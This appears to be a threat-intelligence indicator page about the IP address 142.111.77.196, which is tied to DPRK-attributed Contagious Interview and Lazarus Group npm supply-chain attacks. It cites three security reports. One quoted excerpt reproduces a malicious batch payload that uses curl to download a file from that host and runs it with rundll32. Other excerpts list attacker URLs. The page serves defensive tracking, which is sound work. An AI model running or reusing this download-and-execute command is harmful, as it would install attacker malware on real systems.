142.111.77.196
142.111.77.196 is an IP address
that 3 published sources report
in connection with Contagious Interview and Lazarus Group activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from Datadog Security Labs, Hackhunting and Ransom-ISAC.
The earliest of those reports is dated 2024-07-31 and the most recent 2025-11-13.
ip address Contagious InterviewLazarus Group MATCHED IN SOURCE
Network
| Kind | data centre |
|---|---|
| Network | Ace Data Centers II |
| Announced by | AS149440 Evoxt Sdn. Bhd. |
| Country | Germany |
| Flags | hosting range |
Sources
-
…js : 57 const data = '@echo off\ncurl -o Temp.b -L "http://142.111.77.196/user/user.asp?id=237596" > nul 2>&1\nrename Temp.b package.db > nul 2>&1\nrundll32 package.db,GenerateKey 1234\ndel "package.db"\nif exist…
Stressed Pungsan: DPRK-aligned threat actor leverages npm for initial access — Datadog Security Labs -
…hmno/raw https://rentry.co/2p7kv9d8/raw https://cryptocopedia.com/explorer/search.asp?token=5032 142.111.77.196/user/user.asp?id=237596 142.111.77.196/user/user.asp?id=G6A822B 142.111.77.196/manage/manage.asp?id=745681 142.111.77.196/user/user.asp?id=518437 europe-west2-workload-422915.…
Software Supply Chain Threat Landscape July 2024: PyPI, NPM, GitHub and macOS — Hackhunting -
…Bianlian 136.0.3.240 Jan-24 Bianlian 136.0.8.169 Feb-25 Danabot 136.0.9.8 Jun-25 NPM Supply Chain (Ports: 27017 and 3306) 142.111.77.196 Jul-24 DPRK Moonsleet NPM 154.81.220.233 Feb-25 Redline Stealer 155.254.60.160 May-25 ViciousTrap CVE exploitation 156.227.0.187…
Cross-Chain TxDataHiding Crypto Heist: A Very Chainful Process (Part 1) — Ransom-ISAC
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.